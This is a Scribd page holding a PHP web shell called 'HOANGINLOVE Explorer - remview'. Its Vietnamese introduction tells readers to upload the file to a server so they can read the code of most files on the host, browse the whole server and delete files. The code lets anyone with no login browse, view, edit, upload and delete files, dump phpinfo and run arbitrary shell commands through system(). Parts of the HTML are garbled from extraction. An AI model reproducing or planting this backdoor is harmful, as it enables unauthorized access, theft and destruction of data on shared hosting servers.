0% found this document useful (0 votes)
5 views8 pages

View Code

The document contains PHP code for a file explorer script that allows users to view, edit, upload, and delete files on a server. It includes functionalities for displaying directory contents, file permissions, and file metadata. The script also supports viewing images and executing shell commands, which could pose security risks if misused.

Uploaded by

Khanh
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOC, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
5 views8 pages

View Code

The document contains PHP code for a file explorer script that allows users to view, edit, upload, and delete files on a server. It includes functionalities for displaying directory contents, file permissions, and file metadata. The script also supports viewing images and executing shell commands, which could pose security risks if misused.

Uploaded by

Khanh
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOC, PDF, TXT or read online on Scribd

View code :

trang này đã được đọc lần

Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem
code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code
toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong
đó.

<?php

$default_directory = dirname($PATH_TRANSLATED);

$show_icons = 0; define("REMY_EXPLORER_VERSION", "v1.0");

define("BACKGROUND_COLOR", "\"#000000\"");

define("FONT_COLOR", "\"#ffffff\"");

define("TABLE_BORDER_COLOR", "\"#ffffff\"");

define("TABLE_BACKGROUND_COLOR", "\"#000000\"");

define("TABLE_FONT_COLOR", "\"#ffffff\"");

define("COLOR_PRIVATE", "\"#ffbb99\"");

define("COLOR_PUBLIC", "\"#000000\"");

define("TRUE", 1);

define("FALSE", 0);

if (!isset($dir)) $dir = $default_directory;

$dir = stripslashes($dir);

$dir = str_replace("\\", "/", $dir);

$associations = array( "gif" => array( "function" => "viewGIF", "icon" =>
"icons/[Link]" ), "jpg" => array( "function" => "viewJPEG", "icon" =>
"icons/[Link]" ), "jpeg" => array( "function" => "viewJPEG", "icon" =>
"icons/[Link]" ), "wav" => array( "function" => "", "icon" => "icons/[Link]" ),
"mp3" => array( "function" => "", "icon" => "icons/[Link]" ) );

if ($action != "view"): ?>

<html>

<head>
<title>HOANGINLOVE Explorer - remview</title>

<style type="text/css">

<!-- .body { font-family: 'Verdana'; font-size: 13; color: <? echo FONT_COLOR; ?> }
table, div, tr, td

{font: 13 'Verdana'; color: <? echo TABLE_FONT_COLOR; ?> }

a {text-decoration: none; color: "#00ff00" }

a:hover {text-decoration: underline; color: "#ff0000" }

--> </style> </head>

<body class="body" bgcolor=<? echo BACKGROUND_COLOR; ?>> <? endif;

function readDirectory($directory)

{ global $files, $directories, $dir;

$files = array();

$directories = array();

$a = 0; $b = 0;

$dirHandler = opendir($directory);

while ($file = readdir($dirHandler))

{ if ($file != "." && $file != "..")

{ $fullName = $dir.($dir == "/" ? "" : "/").$file;

if (is_dir($fullName)) $directories[$a++] = $fullName;

else $files[$b++] = $fullName; } }

sort($directories); sort($files); };

function showInfoDirectory($directory)

{ global $PHP_SELF; $dirs = split("/", $directory);

print "<b>Directory /"; for ($i = 1; $i < (sizeof($dirs));

$i++) { print "<a href=\"$PHP_SELF?dir=";

for ($a = 1; $a <= $i; $a++) echo "/$dirs[$a]"; echo "\">$dirs[$i]";


if ($directory != "/") echo "/"; } print "</b>\n";

print "Free space on disk: ";

$freeSpace = diskfreespace($directory);

if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes",


$freeSpace/(1024*1024*1024));

else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; };

function showDirectory($directory)

{ global $files, $directories, $fileInfo, $PHP_SELF;

readDirectory($directory);

showInfoDirectory($directory); ?>

<p><table cellpadding=3 cellspacing=1 width="100%" border="0" bgcolor=<?


echo TABLE_BORDER_COLOR; ?>>

<tr bgcolor="#000000"> <? if ($show_icons): ?> <td width="16" align="center"


bgcolor=<? echo TABLE_BACKGROUND_COLOR ?>>

</td> <? endif; ?>

<td align="center">

<b><small>NAME</small></b></td>

<td align="center"><b><small>SIZE</small></b></td>

<td align="center"><b><small>LAST MODIF.</small></b></td>

<td align="center"><b><small>PERMISSIONS</small></b></td>

<td align="center"><b><small>ACTIONS</small></b></td> </tr>

<? for ($i = 0; $i < sizeof($directories);

$i++) { $fileInfo->getInfo($directories[$i]);

showFileInfo($fileInfo); } for ($i = 0; $i < sizeof($files); $i++) { $fileInfo-


>getInfo($files[$i]);

showFileInfo($fileInfo); } ?>

</table>
<? }; class fileInfo { var $name, $path, $fullname, $isDir, $lastmod, $owner,
$perms, $size, $isLink, $linkTo, $extension; function permissions($mode) { $perms =
($mode & 00400) ? "r" : "-";

$perms .= ($mode & 00200) ? "w" : "-";

$perms .= ($mode & 00100) ? "x" : "-";

$perms .= ($mode & 00040) ? "r" : "-";

$perms .= ($mode & 00020) ? "w" : "-";

$perms .= ($mode & 00010) ? "x" : "-";

$perms .= ($mode & 00004) ? "r" : "-";

$perms .= ($mode & 00002) ? "w" : "-";

$perms .= ($mode & 00001) ? "x" : "-"; return $perms; }

function getInfo($file)

{ $this->name = basename($file);

$this->path = dirname($file);

$this->fullname = $file; $this->isDir = is_dir($file);

$this->lastmod = date("m/d/y, H:i", filemtime($file));

$this->owner = fileowner($file);

$this->perms = $this->permissions(fileperms($file));

$this->size = filesize($file);

$this->isLink = is_link($file);

if ($this->isLink) $this->linkTo = readlink($file);

$buffer = explode(".", $this->fullname);

$this->extension = $buffer[sizeof($buffer)-1]; } };

$fileInfo = new fileInfo; function showFileInfo($fileInfo)

{ global $PHP_SELF, $associations; echo "\n<tr


bgcolor=".TABLE_BACKGROUND_COLOR." align=\"center\">";

if ($show_icons) {
echo "<td>"; if ($fileInfo->isDir) echo "<img src=\"icons/[Link]\">";

elseif ($associations[$fileInfo->extension]["icon"] != "") echo "<img src=\"".


$associations[$fileInfo->extension]["icon"]."\">";

else echo "<img src=\"icons/[Link]\">"; echo "</td>"; } echo "<td


align=\"left\"";

if ($fileInfo->perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;

if ($fileInfo->perms[6] == "-") echo " bgcolor=".COLOR_PRIVATE; echo ">";

if ($fileInfo->isLink) { echo $fileInfo->name." -> ";

$fileInfo->fullname = $fileInfo->linkTo;

$fileInfo->name = $fileInfo->linkTo; }

if ($fileInfo->isDir) { echo "<b>fullname\" ";

echo ">$fileInfo->name</b>"; }

else echo $fileInfo->name;

echo "</td>";

echo "<td>$fileInfo->size</td>";

echo "<td>$fileInfo->lastmod</td>";

echo "<td>$fileInfo->perms</td>";

echo "<td>"; if (!$fileInfo->isDir) {

if ($fileInfo->perms[6] == 'r') { echo "fullname&action=view\"> View"; }

if ($fileInfo->perms[7] == 'w') {

echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; } }

echo "</tr>"; };

function viewFile($file)

{ global $associations, $fileInfo;

$fileInfo->getInfo($file);

if (!$associations[$fileInfo->extension] || $associations[$fileInfo->extension]
["function"] == "") showFile($file);
else $associations[$fileInfo->extension]["function"]($file); };

function showFile($file, $editing = 0)

{ global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening file


$file");

if ($editing) echo "<h3>

<b>Edit file $file</b></h3><hr>";

else echo "<h3><b>File $file</b></h3><hr>";

echo "<form";

if ($editing) echo " action=\"$PHP_SELF?action=save&dir=$file\" method=\"post\"";

echo ">";

$buffer = fread($handlerFile, filesize($file));

$buffer = str_replace("&", "&", $buffer);

$buffer = str_replace("<", "<", $buffer);

$buffer = str_replace(">", ">", $buffer);

echo "<textarea wrap=\"off\" cols=\"90\" rows=\"20\"


name=\"text\">$buffer</textarea>";

if ($editing) echo "<p>

<input type=\"submit\" name=\"Submit\" value=\"Save changes\"></p>\n</form>";

echo "</form>";

fclose($handlerFile); };

function saveFile($file)

{ global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not open
file ".basename($file)." for writing");

$text = stripslashes($text);

fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");

fclose($handlerFile);

echo "Changes has been saved in ".basename($file)."<hr>";


$dir = dirname($file); };

function uploadFile()

{ global $HTTP_POST_FILES,$dir;

copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/".
$HTTP_POST_FILES["userfile"][name]) or die("Error uploading file".
$HTTP_POST_FILES["userfile"][name]);

echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";

//unlink($userfile); };

function deleteFile($file)

{ global $confirm;

if ($confirm != TRUE) die("Confirm deletion of $file");

else {

if (!unlink($file)) return FALSE; return TRUE; } };

function viewFileHeader($file, $header)

{ header($header); readfile($file); };

function viewGIF($file)

{ viewFileHeader($file, "Content-type: image/gif"); };

function viewJPEG($file)

{ viewFileHeader($file, "Content-type: image/jpeg"); };

switch ($action) { case "phpinfo": phpinfo();

die();

case "view": viewFile($dir);

break;

case "edit": showFile($dir, 1); break;

case "download": viewFileHeader($dir, "Content-type: unknown"); break; case


"delete": if (!deleteFile($dir)) echo "Could not delete file $dir

"; else echo "File $dir deleted succesfully


"; $dir = dirname($dir);

showDirectory($dir);

break; case "exec": echo "<pre>\n";

echo system($dir);

echo "\n</pre>";

exit();

case "upload": uploadFile(); showDirectory($dir);

break;

case "save": saveFile($dir);

default: showDirectory($dir); break; };

if ($action != "view"): ?>

<p> <table border="0"> <tr><td>

<form method="get" action=<? echo "\"$PHP_SELF\""; ?>>

<input type="hidden" name="dir_from" value=<? echo "\"$dir\""; ?>> <select


name="action" size="1"> <option value="jump" selected>Jump to
directory</option> <option value="makedir">Create directory</option> <!-- Not
implemented yet --> <option value="exec">Execute shell cmd</option> </select>

<input type="text" name="dir" size="20">

<input type="submit" value="Go"> </form> </td>

<? if ((fileperms($dir) & 00002)): ?> <td>

<form enctype="multipart/form-data" action="<? print "$PHP_SELF?


dir=$dir&action=upload"; ?>" method=post> <input type="hidden"
name="MAX_FILE_SIZE" value="1000000">

<input name="userfile" type="file">

<input type="submit" value="Upload file"> </form> </td>

<? endif; ?> </tr> </table> <p> <hr> </p> </body> </html> <? endif; ?>

You might also like